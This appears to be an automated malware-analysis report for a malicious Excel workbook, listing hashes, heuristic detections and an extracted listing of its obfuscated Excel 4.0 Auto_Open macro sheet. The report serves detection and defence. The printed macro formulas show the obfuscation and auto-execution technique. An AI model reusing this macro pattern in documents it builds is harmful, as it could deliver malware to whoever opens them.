Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 664a2f9dea8b37c4…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:45 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 8ff73576fa4d06ef558fb49274c02753 SHA-1: 9249e0dab7b1833fb42e7ec1a10316a756b83252 SHA-256: 664a2f9dea8b37c4571dd6f168d4937fa8df7e03efa7bf7901f1f0e36a371d92
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6757 bytes
SHA-256: 506b067a454d30bf8d8450d5b35e22dc3ada21c5d5e684c268a4a6dd95393beb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wBuEXF
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F166 
' 0018     24 LABEL : Cell Value, String Constant - dDGTmEolI len=0 
' 0018     27 LABEL : Cell Value, String Constant - dtpJgtYKJLNH len=0 
' 0018     25 LABEL : Cell Value, String Constant - ecXhwDcKcv len=0 
' 0018     24 LABEL : Cell Value, String Constant - jqJkwxPdw len=0 
' 0018     21 LABEL : Cell Value, String Constant - kPIPcZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - KxNJvmjq len=0 
' 0018     25 LABEL : Cell Value, String Constant - nXUvsVVtyQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - Oguvj len=0 
' 0018     25 LABEL : Cell Value, String Constant - oYupZUJAHA len=0 
' 0018     27 LABEL : Cell Value, String Constant - psSSKSgBYjUJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - qefOyH len=0 
' 0018     24 LABEL : Cell Value, String Constant - QfZGLJQIQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - RkJikeZi len=0 
' 0018     22 LABEL : Cell Value, String Constant - sBxRUFB len=0 
' 0018     24 LABEL : Cell Value, String Constant - TVglMICdp len=0 
' 0018     23 LABEL : Cell Value, String Constant - VXFAnBLA len=0 
' 0018     21 LABEL : Cell Value, String Constant - woliXq len=0 
' 0018     26 LABEL : Cell Value, String Constant - xyzlsOUVoSv len=0 
' 0018     22 LABEL : Cell Value, String Constant - YmvEecg len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZToaFolqcgY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wBuEXF,F84,"SET.NAME("ecXhwDcKcv",0+VALUE("0"))",""
'  wBuEXF,F86,"SET.NAME("psSSKSgBYjUJ",ecXhwDcKcv)",""
'  wBuEXF,F90,"SET.NAME("QfZGLJQIQ",ecXhwDcKcv)",""
'  wBuEXF,F92,"SET.NAME("woliXq",COUNTA(dtpJgtYKJLNH))",""
'  wBuEXF,F95,"SET.NAME("ZToaFolqcgY",COUNTA(YmvEecg))",""
'  wBuEXF,T96,"",470.00000000000000000000
'  wBuEXF,T97,"",-995.00000000000000000000
'  wBuEXF,T98,"",-117.00000000000000000000
'  wBuEXF,T99,"",-65.00000000000000000000
'  wBuEXF,F100,[],""
'  wBuEXF,T100,"",-956.00000000000000000000
'  wBuEXF,T101,"",-10.00000000000000000000
'  wBuEXF,F102,"SET.NAME("nXUvsVVtyQ","")",""
'  wBuEXF,F105,"psSSKSgBYjUJ",""
'  wBuEXF,F108,"SET.NAME("oYupZUJAHA",HLOOKUP("*",dtpJgtYKJLNH,psSSKSgBYjUJ,FALSE))",""
'  wBuEXF,F112,"kPIPcZ",""
'  wBuEXF,F117,"SET.NAME("KxNJvmjq",ecXhwDcKcv)",""
'  wBuEXF,F120,[],""
'  wBuEXF,F125,"KxNJvmjq",""
'  wBuEXF,F128,"jqJkwxPdw",""
'  wBuEXF,F131,"VXFAnBLA",""
'  wBuEXF,F133,"qefOyH",""
'  wBuEXF,F136,"SET.NAME("Oguvj",VALUE(HLOOKUP("*",YmvEecg,qefOyH,FALSE)))",""
'  wBuEXF,F140,"dDGTmEolI",""
'  wBuEXF,F142,"nXUvsVVtyQ",""
'  wBuEXF,F144,"QfZGLJQIQ",""
'  wBuEXF,F146,NEXT(),""
'  wBuEXF,F151,"sBxRUFB",""
'  wBuEXF,F156,[],""
'  wBuEXF,F159,"xyzlsOUVoSv",""
'  wBuEXF,F161,NEXT(),""
'  wBuEXF,F164,RETURN(),""
'  wBuEXF,F190,"SET.NAME("RkJikeZi",F84)",""
'  wBuEXF,F195,"dtpJgtYKJLNH",""
'  wBuEXF,F197,"SET.NAME("YmvEecg",R89C13)",""
'  wBuEXF,F199,"SET.NAME("xyzlsOUVoSv",205)",""
'  wBuEXF,F202,"SET.NAME("TVglMICdp",6)",""
'  wBuEXF,F204,RkJikeZi(),""
'  wBuEXF,F205,HALT(),""